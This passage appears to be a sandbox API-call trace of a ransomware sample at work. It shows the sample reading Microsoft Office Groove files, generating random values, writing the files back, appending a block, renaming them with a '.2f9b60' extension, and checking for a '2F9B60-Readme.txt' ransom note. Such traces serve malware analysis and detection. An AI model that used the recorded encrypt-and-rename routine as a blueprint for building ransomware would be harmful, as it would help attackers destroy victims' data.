(in: Seed=0x2f34fb50 | out: Seed=0x2f34fb50) returned 0x6aa45bab [0135.874] RtlRandomEx (in: Seed=0x2f34fb50 | out: Seed=0x2f34fb50) returned 0x6370924 [0135.874] RtlRandomEx (in: Seed=0x2f34fb50 | out: Seed=0x2f34fb50) returned 0x419a4f69 [0135.874] RtlRandomEx (in: Seed=0x2f34fb50 | out: Seed=0x2f34fb50) returned 0x43dce396 [0135.874] RtlRandomEx (in: Seed=0x2f34fb50 | out: Seed=0x2f34fb50) returned 0x78108b32 [0135.874] RtlRandomEx (in: Seed=0x2f34fb50 | out: Seed=0x2f34fb50) returned 0x52bbf80a [0135.875] RtlRandomEx (in: Seed=0x2f34fb50 | out: Seed=0x2f34fb50) returned 0x21cb17e [0135.875] RtlRandomEx (in: Seed=0x2f34fb50 | out: Seed=0x2f34fb50) returned 0x68a928b4 [0135.886] ReadFile (in: hFile=0x1cc0, lpBuffer=0x203990f0, nNumberOfBytesToRead=0x5d5, lpNumberOfBytesRead=0x2f34fb50, lpOverlapped=0x0 | out: lpBuffer=0x203990f0*, lpNumberOfBytesRead=0x2f34fb50*=0x5d5, lpOverlapped=0x0) returned 1 [0135.886] SetFilePointerEx (in: hFile=0x1cc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.886] WriteFile (in: hFile=0x1cc0, lpBuffer=0x2039cd00*, nNumberOfBytesToWrite=0x5d5, lpNumberOfBytesWritten=0x2f34fb54, lpOverlapped=0x0 | out: lpBuffer=0x2039cd00*, lpNumberOfBytesWritten=0x2f34fb54*=0x5d5, lpOverlapped=0x0) returned 1 [0135.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267a70 [0135.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261880 [0135.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261880) returned 1 [0135.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2039cd00) returned 1 [0135.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203990f0) returned 1 [0135.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8663c0) returned 1 [0135.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c10) returned 1 [0135.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x20261880 [0135.930] SetFilePointerEx (in: hFile=0x1cc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0135.930] WriteFile (in: hFile=0x1cc0, lpBuffer=0x1673a0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2f34fc70, lpOverlapped=0x0 | out: lpBuffer=0x1673a0*, lpNumberOfBytesWritten=0x2f34fc70*=0x10c, lpOverlapped=0x0) returned 1 [0135.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c10 [0135.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420600b0 [0135.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263950 [0135.947] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263950) returned 1 [0135.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20263950 [0135.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202627e0 [0135.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260680 [0135.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260680) returned 1 [0135.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420600b0) returned 1 [0135.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c10) returned 1 [0135.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9e970 [0135.948] sprintf (in: _Dest=0x1cd9e970, _Format="%c%c" | out: _Dest="9b") returned 2 [0135.948] sprintf (in: _Dest=0x1cd9e972, _Format="%c%c" | out: _Dest="59") returned 2 [0135.948] sprintf (in: _Dest=0x1cd9e974, _Format="%c%c" | out: _Dest="99") returned 2 [0135.948] sprintf (in: _Dest=0x1cd9e976, _Format="%c%c" | out: _Dest="fa") returned 2 [0135.948] sprintf (in: _Dest=0x1cd9e978, _Format="%c%c" | out: _Dest="27") returned 2 [0135.948] sprintf (in: _Dest=0x1cd9e97a, _Format="%c%c" | out: _Dest="a5") returned 2 [0135.948] sprintf (in: _Dest=0x1cd9e97c, _Format="%c%c" | out: _Dest="44") returned 2 [0135.948] sprintf (in: _Dest=0x1cd9e97e, _Format="%c%c" | out: _Dest="cd") returned 2 [0135.948] sprintf (in: _Dest=0x1cd9e980, _Format="%c%c" | out: _Dest="a8") returned 2 [0135.948] sprintf (in: _Dest=0x1cd9e982, _Format="%c%c" | out: _Dest="76") returned 2 [0135.948] sprintf (in: _Dest=0x1cd9e984, _Format="%c%c" | out: _Dest="03") returned 2 [0135.948] sprintf (in: _Dest=0x1cd9e986, _Format="%c%c" | out: _Dest="d5") returned 2 [0135.949] sprintf (in: _Dest=0x1cd9e988, _Format="%c%c" | out: _Dest="6f") returned 2 [0135.949] sprintf (in: _Dest=0x1cd9e98a, _Format="%c%c" | out: _Dest="40") returned 2 [0135.949] sprintf (in: _Dest=0x1cd9e98c, _Format="%c%c" | out: _Dest="aa") returned 2 [0135.949] sprintf (in: _Dest=0x1cd9e98e, _Format="%c%c" | out: _Dest="10") returned 2 [0135.949] sprintf (in: _Dest=0x1cd9e990, _Format="%c%c" | out: _Dest="4e") returned 2 [0135.949] sprintf (in: _Dest=0x1cd9e992, _Format="%c%c" | out: _Dest="5a") returned 2 [0135.949] sprintf (in: _Dest=0x1cd9e994, _Format="%c%c" | out: _Dest="98") returned 2 [0135.949] sprintf (in: _Dest=0x1cd9e996, _Format="%c%c" | out: _Dest="9e") returned 2 [0135.949] sprintf (in: _Dest=0x1cd9e998, _Format="%c%c" | out: _Dest="fe") returned 2 [0135.949] sprintf (in: _Dest=0x1cd9e99a, _Format="%c%c" | out: _Dest="09") returned 2 [0135.949] sprintf (in: _Dest=0x1cd9e99c, _Format="%c%c" | out: _Dest="e7") returned 2 [0135.949] sprintf (in: _Dest=0x1cd9e99e, _Format="%c%c" | out: _Dest="19") returned 2 [0135.949] sprintf (in: _Dest=0x1cd9e9a0, _Format="%c%c" | out: _Dest="b9") returned 2 [0135.949] sprintf (in: _Dest=0x1cd9e9a2, _Format="%c%c" | out: _Dest="7d") returned 2 [0135.949] RtlInitAnsiString (in: DestinationString=0x2f34fce8, SourceString="9b5999fa27a544cda87603d56f40aa104e5a989efe09e719b97d" | out: DestinationString="9b5999fa27a544cda87603d56f40aa104e5a989efe09e719b97d") [0135.949] RtlAnsiStringToUnicodeString (in: DestinationString=0x2f34fcb8, SourceString="9b5999fa27a544cda87603d56f40aa104e5a989efe09e719b97d", AllocateDestinationString=1 | out: DestinationString="9b5999fa27a544cda87603d56f40aa104e5a989efe09e719b97d") returned 0x0 [0135.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x42060130 [0135.950] wcscat (in: _Dest=0x2050d210, _Source="9b5999fa27a54" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\9b5999fa27a54") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\9b5999fa27a54" [0135.950] wcscat (in: _Dest=0x2050d210, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\9b5999fa27a54.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\9b5999fa27a54.2f9b60" [0135.950] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\9b5999fa27a54.2f9b60", NtPathName=0x2f34fc90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\9b5999fa27a54.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0135.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x1193e0 [0135.953] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1193e0) returned 1 [0135.953] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf49620) returned 1 [0135.953] NtQueryInformationFile (in: FileHandle=0x1cc0, IoStatusBlock=0x2f34fcf8, FileInformation=0x2f34fd08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2f34fcf8, FileInformation=0x2f34fd08) returned 0x0 [0135.953] NtSetInformationFile (FileHandle=0x1cc0, IoStatusBlock=0x2f34fcf8, FileInformation=0x2f34fd08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0135.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d210) returned 1 [0135.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060130) returned 1 [0135.956] FlushFileBuffers (hFile=0x1cc0) returned 1 [0138.535] CloseHandle (hObject=0x1cc0) returned 1 [0138.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x2050d4d0 [0138.638] wcscpy (in: _Dest=0x2050d4d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\" [0138.638] wcscat (in: _Dest=0x2050d4d0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\2F9B60-Readme.txt" [0138.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\2f9b60-readme.txt")) returned 0x20 [0139.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d4d0) returned 1 [0139.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad020) returned 1 Thread: id = 1942 os_tid = 0x1120 [0135.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Messenger.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\messenger.xml")) returned 0x20 [0135.179] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Messenger.xml", dwFileAttributes=0x20) returned 1 [0135.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Messenger.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\messenger.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1cd8 [0135.768] GetFileSizeEx (in: hFile=0x1cd8, lpFileSize=0x2e48fe40 | out: lpFileSize=0x2e48fe40*=330) returned 1 [0135.768] SetFilePointerEx (in: hFile=0x1cd8, liDistanceToMove=0x146, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.768] ReadFile (in: hFile=0x1cd8, lpBuffer=0x2e48fdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e48fe08, lpOverlapped=0x0 | out: lpBuffer=0x2e48fdc0*, lpNumberOfBytesRead=0x2e48fe08*=0x4, lpOverlapped=0x0) returned 1 [0135.769] SetFilePointerEx (in: hFile=0x1cd8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20268010 [0135.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267a70 [0135.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202678c0 [0135.770] NtQuerySystemTime (in: CurrentTime=0x2e48fd00 | out: CurrentTime=0x2e48fd00*=132462177410158000) returned 0x0 [0135.770] RtlRandomEx (in: Seed=0x2e48fcf0 | out: Seed=0x2e48fcf0) returned 0x52c0b142 [0135.770] RtlRandomEx (in: Seed=0x2e48fcf0 | out: Seed=0x2e48fcf0) returned 0x15d09ba3 [0135.770] RtlRandomEx (in: Seed=0x2e48fcf0 | out: Seed=0x2e48fcf0) returned 0x4435c164 [0135.770] RtlRandomEx (in: Seed=0x2e48fcf0 | out: Seed=0x2e48fcf0) returned 0x6e778765 [0135.770] RtlRandomEx (in: Seed=0x2e48fcf0 | out: Seed=0x2e48fcf0) returned 0x76fe223 [0135.770] RtlRandomEx (in: Seed=0x2e48fcf0 | out: Seed=0x2e48fcf0) returned 0x89651db [0135.770] RtlRandomEx (in: Seed=0x2e48fcf0 | out: Seed=0x2e48fcf0) returned 0x7e2f3032 [0135.770] RtlRandomEx (in: Seed=0x2e48fcf0 | out: Seed=0x2e48fcf0) returned 0x2b450bc0 [0135.770] RtlRandomEx (in: Seed=0x2e48fcf0 | out: Seed=0x2e48fcf0) returned 0x54137c29 [0135.770] RtlRandomEx (in: Seed=0x2e48fcf0 | out: Seed=0x2e48fcf0) returned 0x43c5904b [0135.770] RtlRandomEx (in: Seed=0x2e48fcf0 | out: Seed=0x2e48fcf0) returned 0x62668d2c [0135.770] RtlRandomEx (in: Seed=0x2e48fcf0 | out: Seed=0x2e48fcf0) returned 0x78bdd75c [0135.770] RtlRandomEx (in: Seed=0x2e48fcf0 | out: Seed=0x2e48fcf0) returned 0x13280961 [0135.770] RtlRandomEx (in: Seed=0x2e48fcf0 | out: Seed=0x2e48fcf0) returned 0x7babb3bf [0135.770] RtlRandomEx (in: Seed=0x2e48fcf0 | out: Seed=0x2e48fcf0) returned 0x6b1992fa [0135.770] RtlRandomEx (in: Seed=0x2e48fcf0 | out: Seed=0x2e48fcf0) returned 0x8195d15 [0135.770] RtlRandomEx (in: Seed=0x2e48fcf0 | out: Seed=0x2e48fcf0) returned 0x6341df68 [0135.770] RtlRandomEx (in: Seed=0x2e48fcf0 | out: Seed=0x2e48fcf0) returned 0x19a4dcb7 [0135.770] RtlRandomEx (in: Seed=0x2e48fcf0 | out: Seed=0x2e48fcf0) returned 0x49588dcd [0135.771] RtlRandomEx (in: Seed=0x2e48fcf0 | out: Seed=0x2e48fcf0) returned 0x45ae1156 [0135.771] RtlRandomEx (in: Seed=0x2e48fcf0 | out: Seed=0x2e48fcf0) returned 0xfe3a2ab [0135.771] RtlRandomEx (in: Seed=0x2e48fcf0 | out: Seed=0x2e48fcf0) returned 0x11ebb60e [0135.771] RtlRandomEx (in: Seed=0x2e48fcf0 | out: Seed=0x2e48fcf0) returned 0x648794e8 [0135.771] RtlRandomEx (in: Seed=0x2e48fcf0 | out: Seed=0x2e48fcf0) returned 0x4b562d21 [0135.771] RtlRandomEx (in: Seed=0x2e48fcf0 | out: Seed=0x2e48fcf0) returned 0x7dd47552 [0135.771] RtlRandomEx (in: Seed=0x2e48fcf0 | out: Seed=0x2e48fcf0) returned 0x12a29e7e [0135.771] RtlRandomEx (in: Seed=0x2e48fcf0 | out: Seed=0x2e48fcf0) returned 0x17ea0adb [0135.771] RtlRandomEx (in: Seed=0x2e48fcf0 | out: Seed=0x2e48fcf0) returned 0x2272c3b5 [0135.771] RtlRandomEx (in: Seed=0x2e48fcf0 | out: Seed=0x2e48fcf0) returned 0x7a61ad2 [0135.771] RtlRandomEx (in: Seed=0x2e48fcf0 | out: Seed=0x2e48fcf0) returned 0x50b9e45e [0135.771] RtlRandomEx (in: Seed=0x2e48fcf0 | out: Seed=0x2e48fcf0) returned 0x384841e0 [0135.771] RtlRandomEx (in: Seed=0x2e48fcf0 | out: Seed=0x2e48fcf0) returned 0x70c83cfb [0135.786] ReadFile (in: hFile=0x1cd8, lpBuffer=0x2038a0b0, nNumberOfBytesToRead=0x14a, lpNumberOfBytesRead=0x2e48fcf0, lpOverlapped=0x0 | out: lpBuffer=0x2038a0b0*, lpNumberOfBytesRead=0x2e48fcf0*=0x14a, lpOverlapped=0x0) returned 1 [0135.786] SetFilePointerEx (in: hFile=0x1cd8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.786] WriteFile (in: hFile=0x1cd8, lpBuffer=0x203a0910*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x2e48fcf4, lpOverlapped=0x0 | out: lpBuffer=0x203a0910*, lpNumberOfBytesWritten=0x2e48fcf4*=0x14a, lpOverlapped=0x0) returned 1 [0135.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20268040 [0135.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267fb0 [0135.798] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267fb0) returned 1 [0135.798] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203a0910) returned 1 [0135.798] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2038a0b0) returned 1 [0135.798] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867bc0) returned 1 [0135.798] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b70) returned 1 [0135.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x20267fb0 [0135.799] SetFilePointerEx (in: hFile=0x1cd8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0135.799] WriteFile (in: hFile=0x1cd8, lpBuffer=0x1673a0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2e48fe10, lpOverlapped=0x0 | out: lpBuffer=0x1673a0*, lpNumberOfBytesWritten=0x2e48fe10*=0x10c, lpOverlapped=0x0) returned 1 [0135.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c10 [0135.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867b40 [0135.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202679e0 [0135.814] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202679e0) returned 1 [0135.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x202679e0 [0135.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267a40 [0135.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267980 [0135.814] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267980) returned 1 [0135.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867b40) returned 1 [0135.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c10) returned 1 [0135.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9ff30 [0135.815] sprintf (in: _Dest=0x1cd9ff30, _Format="%c%c" | out: _Dest="a4") returned 2 [0135.815] sprintf (in: _Dest=0x1cd9ff32, _Format="%c%c" | out: _Dest="68") returned 2 [0135.815] sprintf (in: _Dest=0x1cd9ff34, _Format="%c%c" | out: _Dest="87") returned 2 [0135.815] sprintf (in: _Dest=0x1cd9ff36, _Format="%c%c" | out: _Dest="f1") returned 2 [0135.815] sprintf (in: _Dest=0x1cd9ff38, _Format="%c%c" | out: _Dest="ef") returned 2 [0135.815] sprintf (in: _Dest=0x1cd9ff3a, _Format="%c%c" | out: _Dest="56") returned 2 [0135.815] sprintf (in: _Dest=0x1cd9ff3c, _Format="%c%c" | out: _Dest="21") returned 2 [0135.815] sprintf (in: _Dest=0x1cd9ff3e, _Format="%c%c" | out: _Dest="35") returned 2 [0135.815] sprintf (in: _Dest=0x1cd9ff40, _Format="%c%c" | out: _Dest="cb") returned 2 [0135.815] sprintf (in: _Dest=0x1cd9ff42, _Format="%c%c" | out: _Dest="cf") returned 2 [0135.815] sprintf (in: _Dest=0x1cd9ff44, _Format="%c%c" | out: _Dest="f5") returned 2 [0135.815] sprintf (in: _Dest=0x1cd9ff46, _Format="%c%c" | out: _Dest="38") returned 2 [0135.815] sprintf (in: _Dest=0x1cd9ff48, _Format="%c%c" | out: _Dest="77") returned 2 [0135.815] sprintf (in: _Dest=0x1cd9ff4a, _Format="%c%c" | out: _Dest="6f") returned 2 [0135.815] sprintf (in: _Dest=0x1cd9ff4c, _Format="%c%c" | out: _Dest="c0") returned 2 [0135.816] sprintf (in: _Dest=0x1cd9ff4e, _Format="%c%c" | out: _Dest="e3") returned 2 [0135.816] sprintf (in: _Dest=0x1cd9ff50, _Format="%c%c" | out: _Dest="75") returned 2 [0135.816] sprintf (in: _Dest=0x1cd9ff52, _Format="%c%c" | out: _Dest="bc") returned 2 [0135.816] sprintf (in: _Dest=0x1cd9ff54, _Format="%c%c" | out: _Dest="60") returned 2 [0135.816] sprintf (in: _Dest=0x1cd9ff56, _Format="%c%c" | out: _Dest="06") returned 2 [0135.816] sprintf (in: _Dest=0x1cd9ff58, _Format="%c%c" | out: _Dest="97") returned 2 [0135.816] sprintf (in: _Dest=0x1cd9ff5a, _Format="%c%c" | out: _Dest="5a") returned 2 [0135.816] sprintf (in: _Dest=0x1cd9ff5c, _Format="%c%c" | out: _Dest="f7") returned 2 [0135.816] sprintf (in: _Dest=0x1cd9ff5e, _Format="%c%c" | out: _Dest="ac") returned 2 [0135.816] sprintf (in: _Dest=0x1cd9ff60, _Format="%c%c" | out: _Dest="49") returned 2 [0135.816] sprintf (in: _Dest=0x1cd9ff62, _Format="%c%c" | out: _Dest="76") returned 2 [0135.816] RtlInitAnsiString (in: DestinationString=0x2e48fe88, SourceString="a46887f1ef562135cbcff538776fc0e375bc6006975af7ac4976" | out: DestinationString="a46887f1ef562135cbcff538776fc0e375bc6006975af7ac4976") [0135.816] RtlAnsiStringToUnicodeString (in: DestinationString=0x2e48fe58, SourceString="a46887f1ef562135cbcff538776fc0e375bc6006975af7ac4976", AllocateDestinationString=1 | out: DestinationString="a46887f1ef562135cbcff538776fc0e375bc6006975af7ac4976") returned 0x0 [0135.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b867c40 [0135.816] wcscat (in: _Dest=0x2050d210, _Source="a46887f1ef562" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\a46887f1ef562") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\a46887f1ef562" [0135.817] wcscat (in: _Dest=0x2050d210, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\a46887f1ef562.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\a46887f1ef562.2f9b60" [0135.817] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\a46887f1ef562.2f9b60", NtPathName=0x2e48fe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\a46887f1ef562.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0135.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x1193e0 [0135.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1193e0) returned 1 [0135.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecbc50) returned 1 [0135.822] NtQueryInformationFile (in: FileHandle=0x1cd8, IoStatusBlock=0x2e48fe98, FileInformation=0x2e48fea8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2e48fe98, FileInformation=0x2e48fea8) returned 0x0 [0135.822] NtSetInformationFile (FileHandle=0x1cd8, IoStatusBlock=0x2e48fe98, FileInformation=0x2e48fea8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0135.824] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d210) returned 1 [0135.824] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867c40) returned 1 [0135.825] FlushFileBuffers (hFile=0x1cd8) returned 1 [0138.535] CloseHandle (hObject=0x1cd8) returned 1 [0138.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x2050b740 [0138.637] wcscpy (in: _Dest=0x2050b740, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\" [0138.637] wcscat (in: _Dest=0x2050b740, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\2F9B60-Readme.txt" [0138.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\2f9b60-readme.txt")) returned 0x20 [0139.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b740) returned 1 [0139.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad5c0) returned 1 Thread: id = 1943 os_tid = 0x1124 [0135.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x202adfa0 [0135.234] wcscpy (in: _Dest=0x202adfa0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates" [0135.234] wcscat (in: _Dest=0x202adfa0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates\\" [0135.234] wcscat (in: _Dest=0x202adfa0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates\\*" [0135.234] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce593b0 [0135.234] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates\\*", lpFindFileData=0x1ce593b0 | out: lpFindFileData=0x1ce593b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b8592d0 [0135.234] wcscmp (_String1=".", _String2=".") returned 0 [0135.234] FindNextFileW (in: hFindFile=0x1b8592d0, lpFindFileData=0x1ce593b0 | out: lpFindFileData=0x1ce593b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.234] wcscmp (_String1="..", _String2=".") returned 1 [0135.235] wcscmp (_String1="..", _String2="..") returned 0 [0135.235] FindNextFileW (in: hFindFile=0x1b8592d0, lpFindFileData=0x1ce593b0 | out: lpFindFileData=0x1ce593b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, 